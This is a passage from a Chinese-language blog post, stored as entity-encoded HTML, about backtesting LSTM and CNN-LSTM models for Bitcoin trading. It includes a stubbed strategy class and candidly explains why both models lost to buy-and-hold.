&#x80FD;&#x50CF;&#x4E00;&#x4E2A;&#x7CBE;&#x5BC6;&#x7684;&#x6A21;&#x5F0F;&#x8BC6;&#x522B;&#x5668;&#x4E00;&#x6837;&#xFF0C;&#x5E2E;&#x52A9; LSTM &#x8FDB;&#x884C;&#x8BC6;&#x522B;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-9.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="459" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-9.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-9.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-9.png 1100w" sizes="(min-width: 720px) 720px"></figure><ul><li><strong>&#x6570;&#x636E;&#x4E0E;&#x7279;&#x5F81;:</strong> &#x6211;&#x9009;&#x62E9;&#x7684;&#x6570;&#x636E;&#x96C6;&#x662F;&#x4E24;&#x5E74;&#x7684;&#x6BCF;&#x5C0F;&#x65F6;BTC/USD&#x6570;&#x636E;&#x2014;&#x2014;&#x4E00;&#x4E2A;&#x4E0D;&#x9519;&#x7684;&#x6570;&#x636E;&#x91CF;&#x3002;&#x4ECE;&#x8FD9;&#x4E9B;&#x6570;&#x636E;&#x4E2D;&#xFF0C;&#x6211;&#x5236;&#x4F5C;&#x4E86;17&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x6280;&#x672F;&#x6307;&#x6807;&#x3002;&#x6211;&#x4EEC;&#x8C08;&#x8BBA;&#x7684;&#x662F;&#x7ECF;&#x5178;&#xFF1A;<strong>RSI, MACD, Bollinger Bands</strong>, &#x8BF8;&#x5982;&#x6B64;&#x7C7B;&#x3002;&#x6211;&#x7684;&#x76EE;&#x6807;&#x662F;&#x4E3A;&#x6A21;&#x578B;&#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x4E30;&#x5BCC;&#x3001;&#x591A;&#x7EF4;&#x7684;&#x5E02;&#x573A;&#x60C5;&#x51B5;&#x89C6;&#x56FE;&#xFF0C;&#x5173;&#x4E8E;&#x52A8;&#x91CF;&#x3001;&#x6CE2;&#x52A8;&#x6027;&#x548C;&#x8D8B;&#x52BF;&#x3002;</li><li><strong>&#x56DE;&#x6D4B;&#x5F15;&#x64CE;:</strong> &#x5BF9;&#x4E8E;&#x56DE;&#x6D4B;&#xFF0C;&#x6211;&#x4FDD;&#x6301;&#x521D;&#x59CB;&#x7B56;&#x7565;&#x76F8;&#x5F53;&#x7B80;&#x5355;&#x3002;&#x6838;&#x5FC3;&#x601D;&#x60F3;&#xFF1A;&#x5982;&#x679C;&#x6A21;&#x578B;&#x9884;&#x6D4B;&#x7684;&#x4E0A;&#x6DA8;&#x6982;&#x7387;&#x8D85;&#x8FC7;&#x67D0;&#x4E2A;&#x7F6E;&#x4FE1;&#x6C34;&#x5E73;&#xFF08;&#x6BD4;&#x5982;&gt;0.6&#xFF09;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x505A;&#x591A;&#x3002;&#x5982;&#x679C;&#x5B83;&#x4F4E;&#x4E8E;&#x8F83;&#x4F4E;&#x6C34;&#x5E73;&#xFF08;&lt;0.4&#xFF09;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x505A;&#x7A7A;&#x3002;&#x4ECB;&#x4E8E;&#x4E24;&#x8005;&#x4E4B;&#x95F4;&#xFF1F;&#x5C31;&#x4FDD;&#x6301;&#x89C2;&#x671B;&#x3002;&#x6211;&#x8FD8;&#x52A0;&#x5165;&#x4E86;&#x5728;&#x7B2C;25&#x4E2A;epoch&#x65F6;&#x63D0;&#x524D;&#x505C;&#x6B62;&#xFF0C;&#x57FA;&#x4E8E;&#x9A8C;&#x8BC1;&#x635F;&#x5931;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x4EE5;&#x5C1D;&#x8BD5;&#x9632;&#x6B62;&#x660E;&#x663E;&#x7684;&#x8FC7;&#x62DF;&#x5408;&#x3002;</li></ul><p>&#x73B0;&#x5728;&#xFF0C;&#x5BF9;&#x4E8E;&#x90A3;&#x4E9B;&#x559C;&#x6B22;&#x6DF1;&#x5165;&#x7EC6;&#x8282;&#x7684;&#x4EBA;&#xFF0C;&#x4FE1;&#x53F7;&#x751F;&#x6210;&#x548C;&#x56DE;&#x6D4B;&#x7684;&#x5B9E;&#x9645;&#x4EE3;&#x7801;&#x6709;&#x5F88;&#x591A;&#x5185;&#x5BB9;&#x5728;&#x540E;&#x53F0;&#x8FD0;&#x884C;&#x3002;&#x4E3A;&#x4E86;&#x4FDD;&#x6301;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x7684;&#x53EF;&#x8BFB;&#x6027;&#x548C;&#x805A;&#x7126;&#x6027;&#xFF0C;&#x6211;&#x5728;&#x8FD9;&#x91CC;&#x7684;&#x4EE3;&#x7801;&#x7247;&#x6BB5;&#x66F4;&#x52A0;&#x6982;&#x5FF5;&#x5316;&#x3002;<strong>&#x4F46;&#x4E0D;&#x7528;&#x62C5;&#x5FC3;&#xFF0C;&#x4F60;&#x53EF;&#x4EE5;&#x5728;<a href="https://github.com/ZFayFay/Deep-Learning-for-Crypto-Trading/blob/main/Deep-Learning-for-Crypto-Trading.ipynb?ref=defiplot.com">&#x6211;GitHub&#x4ED3;&#x5E93;</a>&#x4E2D;&#x627E;&#x5230;&#x6240;&#x6709;&#x5B8C;&#x6574;&#x7684;&#x3001;&#x53EF;&#x64CD;&#x4F5C;&#x7684;Python&#x4EE3;&#x7801;&#x3001;&#x6211;&#x7684;Jupyter&#x7B14;&#x8BB0;&#x672C;&#x548C;&#x8BE6;&#x7EC6;&#x7684;&#x8BBE;&#x7F6E;&#x3002;</strong></p><p>&#x8FD9;&#x91CC;&#x662F;<code>TradingStrategy</code>&#x7C7B;&#x7ED3;&#x6784;&#x7684;&#x4E00;&#x4E2A;&#x9E1F;&#x77B0;&#x56FE;&#xFF0C;&#x53EA;&#x662F;&#x4E3A;&#x4E86;&#x7ED9;&#x4F60;&#x4E00;&#x4E2A;&#x5473;&#x9053;&#xFF1A;</p><pre><code># TradingStrategy &#x7684;&#x6982;&#x5FF5;&#x7ED3;&#x6784;  
# &#x5728;GitHub&#x4E0A;&#x6DF1;&#x5165;&#x4E86;&#x89E3;&#x5B8C;&#x6574;&#x5B9E;&#x73B0;  
import torch  
import numpy as np  

class TradingStrategy:  
    &quot;&quot;&quot;  
    &#x8FD9;&#x662F;&#x6211;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x5927;&#x8111;&#x7684;&#x4E00;&#x4E2A;&#x7B80;&#x5316;&#x7248;&#x3002;  
    &#x5B83;&#x5904;&#x7406;&#x5C06;&#x6A21;&#x578B;&#x9884;&#x6D4B;&#x8F6C;&#x5316;&#x4E3A;&#x4EA4;&#x6613;&#xFF0C;&#x7136;&#x540E;&#x8BA1;&#x7B97;&#x6211;&#x4EEC;&#x662F;&#x5426;&#x8D5A;&#x53D6;&#x6216;&#x635F;&#x5931;&#x4E86;&#x865A;&#x62DF;&#x8D44;&#x91D1;&#x3002;  
    &#x771F;&#x5B9E;&#x7248;&#x672C;&#x6709;&#x66F4;&#x591A;&#x7684;&#x68C0;&#x67E5;&#x3001;&#x5E73;&#x8861;&#x548C;&#x6570;&#x636E;&#x5904;&#x7406;&#x3002;  
    &quot;&quot;&quot;  
    def __init__(self, model, threshold_buy=0.6, threshold_sell=0.4, transaction_cost=0.001):  
        self.model = model  
        self.threshold_buy = threshold_buy # &#x6211;&#x6700;&#x521D;&#x7684;&#x201C;&#x81EA;&#x4FE1;&#x65F6;&#x4E70;&#x5165;&#x201D;&#x6C34;&#x5E73;  
        self.threshold_sell = threshold_sell # &#x6211;&#x6700;&#x521D;&#x7684;&#x201C;&#x81EA;&#x4FE1;&#x65F6;&#x5356;&#x51FA;&#x201D;&#x6C34;&#x5E73;  
        self.transaction_cost = transaction_cost # &#x5FC5;&#x987B;&#x8003;&#x8651;&#x8FD9;&#x4E9B;&#x8BA8;&#x538C;&#x7684;&#x8D39;&#x7528;&#xFF01;  
        self.equity_curve = [1.0] # &#x4ECE;$1&#x7684;&#x865A;&#x62DF;&#x8D44;&#x672C;&#x5F00;&#x59CB;  

    def generate_signals(self, X_test_data_loader):  
        # &#x8FD9;&#x91CC;&#x662F;&#x6A21;&#x578B;&#x53D1;&#x5149;&#xFF08;&#x6216;&#x4E0D;&#x53D1;&#x5149;&#xFF09;&#x7684;&#x5730;&#x65B9;&#x3002;  
        # &#x5B83;&#x67E5;&#x770B;&#x6D4B;&#x8BD5;&#x6570;&#x636E;&#xFF0C;&#x8F93;&#x51FA;&#x6982;&#x7387;&#xFF0C;  
        # &#x7136;&#x540E;&#x6211;&#x4EEC;&#x51B3;&#x5B9A;&#xFF1A;&#x4E70;&#x5165;&#x3001;&#x5356;&#x51FA;&#x8FD8;&#x662F;&#x5750;&#x7B49;&#xFF1F;  
        # ... &#x6240;&#x6709;&#x7EC6;&#x8282;&#x90FD;&#x5728;GitHub&#x4E0A;...  
        pass  

    def backtest(self, signals, actual_market_returns):  
        # &#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x6A21;&#x62DF;&#x6211;&#x4EEC;&#x7684;&#x7B56;&#x7565;&#x4E0E;&#x5B9E;&#x9645;&#x53D1;&#x751F;&#x7684;&#x60C5;&#x51B5;&#x3002;  
        # &#x6BCF;&#x4E2A;&#x4FE1;&#x53F7;&#x8F6C;&#x5316;&#x4E3A;&#x4E00;&#x7B14;&#x4EA4;&#x6613;&#xFF08;&#x6216;&#x6301;&#x6709;&#x6A21;&#x5F0F;&#xFF09;&#xFF0C;  
        # &#x6263;&#x9664;&#x4EA4;&#x6613;&#x6210;&#x672C;&#xFF0C;&#x5E76;&#x67E5;&#x770B;&#x6211;&#x4EEC;&#x7684;&#x6743;&#x76CA;&#x5982;&#x4F55;&#x53D8;&#x5316;&#x3002;  
        # ... &#x67E5;&#x770B;GitHub&#x4E0A;&#x7684;&#x5B8C;&#x6574;&#x6A21;&#x62DF;&#x903B;&#x8F91;...  
        pass  

    def calculate_metrics(self):  
        # &#x771F;&#x76F8;&#x65F6;&#x523B;&#xFF01;  
        # &#x8BA1;&#x7B97;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x3001;&#x6700;&#x5927;&#x56DE;&#x64A4;&#x3001;&#x603B;&#x56DE;&#x62A5;&#x3001;&#x6CE2;&#x52A8;&#x7387;&#x7B49;&#x3002;  
        # &#x8FD9;&#x544A;&#x8BC9;&#x6211;&#x4EEC;&#x662F;&#x5426;&#x4E2D;&#x4E86;&#x5927;&#x5956;&#x8FD8;&#x662F;&#x6316;&#x4E86;&#x5751;&#x3002;  
        # ... &#x6570;&#x5B66;&#x548C;&#x7EC6;&#x8282;&#x90FD;&#x5728;GitHub&#x4E0A;...  
        pass
</code></pre><h2 id="3%E3%80%81%E7%8E%B0%E5%AE%9E%E6%A3%80%E9%AA%8C%EF%BC%9A%E4%B8%A4%E4%B8%AA%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%97%A0%E6%83%85%E5%B8%82%E5%9C%BA%E7%9A%84%E5%AF%B9%E5%86%B3">3&#x3001;&#x73B0;&#x5B9E;&#x68C0;&#x9A8C;&#xFF1A;&#x4E24;&#x4E2A;&#x6A21;&#x578B;&#x4E0E;&#x65E0;&#x60C5;&#x5E02;&#x573A;&#x7684;&#x5BF9;&#x51B3;</h2><p>&#x5728;&#x6240;&#x6709;&#x7684;&#x6570;&#x636E;&#x51C6;&#x5907;&#x3001;&#x6A21;&#x578B;&#x8BAD;&#x7EC3;&#x3001;&#x7EC6;&#x81F4;&#x7684;&#x8C03;&#x4F18;&#xFF0C;&#x6700;&#x540E;&#x7684;&#x56DE;&#x6D4B;&#x2026;&#x2026;&#x7ED3;&#x679C;&#x6765;&#x4E86;&#x3002;&#x800C;&#x4E14;&#xFF0C;&#x5766;&#x767D;&#x8BF4;&#xFF0C;&#x5B83;&#x4EEC;&#x662F;&#x6B8B;&#x9177;&#x7684;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-10.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="335" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-10.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-10.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-10.png 1100w" sizes="(min-width: 720px) 720px"></figure><p>&#x662F;&#x7684;&#xFF0C;&#x4F60;&#x6CA1;&#x770B;&#x9519;&#x3002;&#x8FD9;&#x4E24;&#x4E2A;&#x672C;&#x5E94;&#x590D;&#x6742;&#x7684;&#x6A21;&#x578B;&#x5F7B;&#x5E95;&#x5931;&#x8D25;&#x4E86;&#xFF0C;&#x65E0;&#x6CD5;&#x76C8;&#x5229;&#x3002;LSTM&#x7B56;&#x7565;&#x4E0D;&#x4EC5;&#x7CDF;&#x7CD5;&#xFF1B;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x58EE;&#x89C2;&#x7684;&#x66B4;&#x8DCC;&#xFF0C;&#x70E7;&#x6389;&#x4E86;&#x8D85;&#x8FC7;&#x4E00;&#x534A;&#x7684;&#x521D;&#x59CB;&#x8D44;&#x672C;&#x3002;CNN-LSTM&#x6A21;&#x578B;&#xFF0C;&#x795D;&#x798F;&#x5B83;&#x7684;&#x6DF7;&#x5408;&#x5FC3;&#x810F;&#xFF0C;&#x505A;&#x5F97;&#x597D;&#x4E00;&#x70B9;&#x2014;&#x2014;&#x5B83;&#x57FA;&#x672C;&#x4E0A;&#x6301;&#x5E73;&#x3002;&#x4F46;&#x201C;&#x6301;&#x5E73;&#x201D;&#x5728;&#x7B80;&#x5355;&#x7684;&#x201C;&#x4E70;&#x5165;&#x5E76;&#x6301;&#x6709;&#x201D;&#x7B56;&#x7565;&#x80FD;&#x5E26;&#x6765;+23.88%&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x662F;&#x4E00;&#x79CD;&#x51B7;&#x9177;&#x7684;&#x5B89;&#x6170;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x9897;&#x96BE;&#x4EE5;&#x541E;&#x54BD;&#x7684;&#x836F;&#x4E38;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5728;&#x6295;&#x5165;&#x4E86;&#x8FD9;&#x4E48;&#x591A;&#x65F6;&#x95F4;&#x548C;&#x7CBE;&#x529B;&#x4E4B;&#x540E;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-11.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="755" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-11.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-11.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-11.png 1100w" sizes="(min-width: 720px) 720px"></figure><p>&#x770B;&#x770B;&#x90A3;&#x5F20;&#x56FE;&#x7247;&#x4E2D;&#x7684;&#x6743;&#x76CA;&#x66F2;&#x7EBF;&#xFF08;&#x53F3;&#x4E0A;&#x89D2;&#x56FE;&#x8868;&#xFF09;&#x3002;&#x867D;&#x7136;&#x201C;&#x4E70;&#x5165;&#x5E76;&#x6301;&#x6709;&#x201D;&#x5728;&#x7A33;&#x6B65;&#x4E0A;&#x5347;&#xFF0C;&#x6211;&#x7684;LSTM&#x7B56;&#x7565;&#x5374;&#x50CF;&#x4E00;&#x628A;&#x6389;&#x4E0B;&#x6765;&#x7684;&#x5200;&#xFF0C;&#x800C;CNN-LSTM&#x5219;&#x53EA;&#x662F;&#x5E73;&#x76D8;&#x3002;&#x90A3;&#x4E48;&#xFF0C;&#x5230;&#x5E95;&#x54EA;&#x91CC;&#x51FA;&#x9519;&#x4E86;&#xFF1F;&#x4E3A;&#x4EC0;&#x4E48;&#x770B;&#x4F3C;&#x62E5;&#x6709;&#x6240;&#x6709;&#x6B63;&#x786E;&#x6210;&#x5206;&#x7684;&#x6A21;&#x578B;&#x5728;&#x6A21;&#x62DF;&#x771F;&#x5B9E;&#x4E16;&#x754C;&#x6D4B;&#x8BD5;&#x4E2D;&#x8868;&#x73B0;&#x5F97;&#x5982;&#x6B64;&#x60E8;&#x70C8;&#xFF1F;&#x6211;&#x5FC5;&#x987B;&#x6DF1;&#x5165;&#x6316;&#x6398;&#x3002;</p><h2 id="4%E3%80%81%E5%88%86%E6%9E%90%E5%A4%B1%E8%B4%A5%EF%BC%9A%E6%88%91%E7%9A%84%E7%BE%8E%E4%B8%BD%E7%90%86%E8%AE%BA%E4%B8%8E%E4%B8%91%E9%99%8B%E7%8E%B0%E5%AE%9E%E7%9A%84%E7%A2%B0%E6%92%9E">4&#x3001;&#x5206;&#x6790;&#x5931;&#x8D25;&#xFF1A;&#x6211;&#x7684;&#x7F8E;&#x4E3D;&#x7406;&#x8BBA;&#x4E0E;&#x4E11;&#x964B;&#x73B0;&#x5B9E;&#x7684;&#x78B0;&#x649E;</h2><p>&#x8001;&#x8BDD;&#x8BF4;&#x5F97;&#x597D;&#xFF1A;&#x9B54;&#x9B3C;&#x5728;&#x4E8E;&#x7EC6;&#x8282;&#x3002;&#x60B2;&#x60E8;&#x7684;&#x7EE9;&#x6548;&#x6307;&#x6807;&#x53EA;&#x662F;&#x5934;&#x6761;&#x65B0;&#x95FB;&#xFF1B;&#x771F;&#x6B63;&#x7684;&#x6545;&#x4E8B;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x4E8B;&#x60C5;&#x53D8;&#x5F97;&#x7CDF;&#x7CD5;&#x9690;&#x85CF;&#x5728;&#x6A21;&#x578B;&#x7684;&#x884C;&#x4E3A;&#x548C;&#x8F93;&#x51FA;&#x4E2D;&#x3002;&#x8FD9;&#x5C31;&#x662F;&#x6211;&#x7684;&#x8C03;&#x67E5;&#x53D8;&#x5F97;&#x975E;&#x5E38;&#x6709;&#x8DA3;&#xFF08;&#x5F53;&#x7136;&#xFF0C;&#x4E5F;&#x6709;&#x4E9B;&#x75DB;&#x82E6;&#xFF09;&#x3002;</p><h3 id="41-%E8%BF%87%E6%8B%9F%E5%90%88%E4%B8%8E%E8%B6%8B%E5%8A%BF%E8%B7%9F%E9%9A%8F%E9%99%B7%E9%98%B1">4.1 &#x8FC7;&#x62DF;&#x5408;&#x4E0E;&#x8D8B;&#x52BF;&#x8DDF;&#x968F;&#x9677;&#x9631;</h3><p>&#x6211;&#x7684;&#x6A21;&#x578B;&#x662F;&#x4F1F;&#x5927;&#x7684;&#x5386;&#x53F2;&#x5B66;&#x5BB6;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x672A;&#x6765;&#x4E3B;&#x4E49;&#x8005;&#x3002;</p><p>&#x5F88;&#x660E;&#x663E;&#xFF0C;&#x6211;&#x7684;&#x6A21;&#x578B;&#x5E76;&#x6CA1;&#x6709;&#x5B66;&#x4F1A;<em>&#x9884;&#x6D4B;</em>&#x672A;&#x6765;&#xFF1B;&#x5B83;&#x4EEC;&#x53EA;&#x662F;&#x5B66;&#x4F1A;&#x4E86;<em>&#x63CF;&#x8FF0;</em>&#x6700;&#x8FD1;&#x7684;&#x8FC7;&#x53BB;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x7279;&#x5F81;&#x91CD;&#x8981;&#x6027;&#x56FE;&#x8868;&#xFF1F;&#x90A3;&#x662F;&#x6211;&#x7684;&#x7F6A;&#x8BC1;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-12.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="879" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-12.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-12.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-12.png 1100w" sizes="(min-width: 720px) 720px"></figure><p>&#x770B;&#x7279;&#x5F81;&#x91CD;&#x8981;&#x6027;&#xFF0C;<code>Returns</code>&#x548C;<code>Volume</code>&#x5BF9;LSTM&#x6765;&#x8BF4;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x3002;&#x7FFB;&#x8BD1;&#xFF1A;&#x6A21;&#x578B;&#x57FA;&#x672C;&#x4E0A;&#x5B66;&#x4F1A;&#x4E86;&#x975E;&#x5E38;&#x7B80;&#x5355;&#x4E14;&#x6700;&#x7EC8;&#x5929;&#x771F;&#x7684;&#x8D8B;&#x52BF;&#x8DDF;&#x968F;&#x89C4;&#x5219;&#x3002;&#x7C7B;&#x4F3C;&#xFF0C;&#x201C;&#x563F;&#xFF0C;&#x5982;&#x679C;&#x4EF7;&#x683C;&#x5728;&#x9AD8;&#x6210;&#x4EA4;&#x91CF;&#x4E0B;&#x706B;&#x7BAD;&#x822C;&#x4E0A;&#x5347;&#xFF0C;&#x5B83;&#x53EF;&#x80FD;&#x4F1A;&#x7EE7;&#x7EED;&#x8FD9;&#x6837;&#x505A;&#xFF01;&#x201D;&#x8FD9;&#x5F88;&#x597D;&#xFF0C;&#x76F4;&#x5230;&#x5B83;&#x4E0D;&#x518D;&#x8FD9;&#x6837;&#x3002;&#x5B83;&#x6CA1;&#x6709;&#x53D1;&#x73B0;&#x4EFB;&#x4F55;&#x9690;&#x85CF;&#x7684;alpha&#xFF1B;&#x5B83;&#x53EA;&#x662F;&#x6839;&#x636E;&#x521A;&#x521A;&#x53D1;&#x751F;&#x7684;&#x4E8B;&#x60C5;&#x753B;&#x4E86;&#x4E00;&#x6761;&#x76F4;&#x7EBF;&#x3002;&#x5178;&#x578B;&#x7684;&#x6A21;&#x578B;&#x5B66;&#x4E60;&#x201C;&#x4EC0;&#x4E48;&#x201D;&#xFF0C;&#x4F46;&#x5BF9;&#x201C;&#x4E3A;&#x4EC0;&#x4E48;&#x201D;&#x4E00;&#x65E0;&#x6240;&#x77E5;&#x3002;</p><h3 id="42-%E4%B8%AD%E7%AB%8B%E9%A2%84%E6%B5%8B%E9%97%AE%E9%A2%98%EF%BC%9A%E6%88%91%E7%9A%84%E6%A8%A1%E5%9E%8B%E6%98%AF%E2%80%9C%E4%B9%9F%E8%AE%B8%E2%80%9D%E7%9A%84%E5%A4%A7%E5%B8%88">4.2 &#x4E2D;&#x7ACB;&#x9884;&#x6D4B;&#x95EE;&#x9898;&#xFF1A;&#x6211;&#x7684;&#x6A21;&#x578B;&#x662F;&#x201C;&#x4E5F;&#x8BB8;&#x201D;&#x7684;&#x5927;&#x5E08;</h3><p>&#x5982;&#x679C;&#x4F60;&#x770B;&#x201C;&#x4FE1;&#x53F7;&#x5206;&#x5E03;&#x201D;&#x56FE;&#x8868;&#xFF08;&#x5728;<code>DL_Algo_2.png</code>&#x56FE;&#x50CF;&#x4E2D;&#xFF09;&#xFF0C;&#x4F60;&#x4F1A;&#x770B;&#x5230;&#x4E24;&#x4E2A;&#x6A21;&#x578B;&#x5927;&#x90E8;&#x5206;&#x65F6;&#x95F4;&#x90FD;&#x5728;&#x751F;&#x6210;&#x2026;&#x2026;&#x4E2D;&#x6027;&#x4FE1;&#x53F7;&#x3002;&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;&#x5B83;&#x4EEC;&#x4E00;&#x76F4;&#x5728;&#x8038;&#x80A9;&#x8BF4;&#xFF0C;&#x201C;&#x6211;&#x4E0D;&#x77E5;&#x9053;&#xFF01;&#x201D;&#x8FD9;&#x662F;&#x6A21;&#x578B;&#x9677;&#x5165;&#x5E02;&#x573A;&#x566A;&#x97F3;&#x4E2D;&#xFF0C;&#x65E0;&#x6CD5;&#x627E;&#x5230;&#x81EA;&#x4FE1;&#x7684;&#x53EF;&#x4EA4;&#x6613;&#x4FE1;&#x53F7;&#x7684;&#x660E;&#x663E;&#x8FF9;&#x8C61;&#x3002;&#x9884;&#x6D4B;&#x90FD;&#x96C6;&#x4E2D;&#x5728;0.5&#x6982;&#x7387;&#x9644;&#x8FD1;&#x3002;&#x5B83;&#x5F88;&#x5C11;&#x6709;&#x52C7;&#x6C14;&#x5B9E;&#x9645;&#x53D1;&#x51FA;&#x4EA4;&#x6613;&#x4FE1;&#x53F7;&#xFF0C;&#x6240;&#x4EE5;&#x9519;&#x8FC7;&#x4E86;&#x6F5C;&#x5728;&#x7684;&#x597D;&#x673A;&#x4F1A;&#x3002;&#x5C31;&#x50CF;&#x6709;&#x4E00;&#x4E2A;&#x8D22;&#x52A1;&#x987E;&#x95EE;&#xFF0C;&#x53EA;&#x4F1A;&#x8BF4;&#xFF0C;&#x201C;&#x55EF;&#xFF0C;&#x5B83;<em>&#x53EF;&#x80FD;</em>&#x4F1A;&#x4E0A;&#x6DA8;&#xFF0C;&#x6216;&#x8005;&#x5B83;<em>&#x53EF;&#x80FD;</em>&#x4F1A;&#x4E0B;&#x8DCC;&#x3002;&#x201D;&#x4E0D;&#x592A;&#x6709;&#x7528;&#xFF01;</p><h3 id="43-%E9%81%AD%E9%81%87%E5%88%B6%E5%BA%A6%E5%8F%98%E5%8C%96%EF%BC%9A%E5%BD%93%E5%B8%82%E5%9C%BA%E5%8F%98%E5%8D%A6%EF%BC%8C%E6%88%91%E7%9A%84%E9%9D%99%E6%80%81%E6%A8%A1%E5%9E%8B%E8%B7%8C%E8%90%BD%E6%82%AC%E5%B4%96">4.3 &#x906D;&#x9047;&#x5236;&#x5EA6;&#x53D8;&#x5316;&#xFF1A;&#x5F53;&#x5E02;&#x573A;&#x53D8;&#x5366;&#xFF0C;&#x6211;&#x7684;&#x9759;&#x6001;&#x6A21;&#x578B;&#x8DCC;&#x843D;&#x60AC;&#x5D16;</h3><p>&#x91D1;&#x878D;&#x5E02;&#x573A;&#x662F;&#x6D3B;&#x751F;&#x751F;&#x7684;&#x751F;&#x7269;&#xFF1B;&#x5B83;&#x4EEC;&#x4E0D;&#x4F1A;&#x53EA;&#x505C;&#x7559;&#x5728;&#x4E00;&#x79CD;&#x60C5;&#x7EEA;&#x4E2D;&#x3002;&#x5B83;&#x4EEC;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x201C;&#x5236;&#x5EA6;&#x201D;&#x4E4B;&#x95F4;&#x5207;&#x6362;&#x2014;&#x2014;&#x5486;&#x54EE;&#x7684;&#x725B;&#x5E02;&#x3001;&#x7F13;&#x6162;&#x7684;&#x718A;&#x5E02;&#x3001;&#x6DF7;&#x4E71;&#x7684;&#x6A2A;&#x5411;&#x884C;&#x52A8;&#x3001;&#x5267;&#x70C8;&#x6CE2;&#x52A8;&#x7684;&#x65F6;&#x671F;&#xFF0C;&#x4EE5;&#x53CA;&#x5E73;&#x9759;&#x7684;&#x65F6;&#x671F;&#x3002;&#x6211;&#x53D1;&#x73B0;&#x81EA;&#x5DF1;&#xFF0C;&#x975E;&#x5E38;&#x6CAE;&#x4E27;&#x5730;&#xFF0C;&#x53D1;&#x73B0;&#x6211;&#x7684;&#x6A21;&#x578B;&#x5C31;&#x50CF;&#x5929;&#x6C14;&#x6674;&#x6717;&#x7684;&#x6C34;&#x624B;&#x3002;&#x5B83;&#x4EEC;&#x5728;&#x5E02;&#x573A;&#x6761;&#x4EF6;&#x5927;&#x81F4;&#x7C7B;&#x4F3C;&#x4E8E;&#x8BAD;&#x7EC3;&#x6570;&#x636E;&#x65F6;&#x8868;&#x73B0;&#x826F;&#x597D;&#xFF08;&#x6216;&#x81F3;&#x5C11;&#x4E0D;&#x592A;&#x5DEE;&#xFF09;&#x3002;&#x4F46;&#x4E00;&#x65E6;&#x6D77;&#x9762;&#x53D8;&#x5F97;&#x56F0;&#x96BE;&#x6216;&#x98CE;&#x5411;&#x6539;&#x53D8;&#xFF1F;&#x5B83;&#x4EEC;&#x5B8C;&#x5168;&#x8FF7;&#x5931;&#x4E86;&#x3002;</p><p>&#x201C;&#x6EDA;&#x52A8;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x201D;&#x56FE;&#x8868;&#xFF08;&#x4E5F;&#x5728;<code>DL_Algo_2.png</code>&#x4E2D;&#xFF09;&#x751F;&#x52A8;&#x5730;&#x63CF;&#x7ED8;&#x4E86;&#x8FD9;&#x4E00;&#x70B9;&#x3002;LSTM&#x7B56;&#x7565;&#x6709;&#x4E00;&#x4E2A;&#x5C0F;&#x5C0F;&#x7684;&#x7565;&#x597D;&#x8868;&#x73B0;&#x7684;&#x77ED;&#x6682;&#x6CE2;&#x52A8;&#xFF0C;&#x7136;&#x540E;&#xFF0C;&#x7830;&#x2014;&#x2014;&#x5E02;&#x573A;&#x53EF;&#x80FD;&#x6539;&#x53D8;&#x4E86;&#x65B9;&#x5411;&#xFF0C;&#x6A21;&#x578B;&#x7684;&#x8868;&#x73B0;&#x7A81;&#x7136;&#x5D29;&#x6E83;&#xFF0C;&#x518D;&#x4E5F;&#x6CA1;&#x6709;&#x56DE;&#x5934;&#x3002;&#x8FD9;&#x662F;&#x9759;&#x6001;&#x6A21;&#x578B;&#x7684;&#x81F4;&#x547D;&#x5F31;&#x70B9;&#xFF1A;&#x5B83;&#x4EEC;&#x8106;&#x5F31;&#x3002;&#x5F53;&#x5E02;&#x573A;&#x7684;&#x57FA;&#x672C;&#x52A8;&#x6001;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x65F6;&#xFF0C;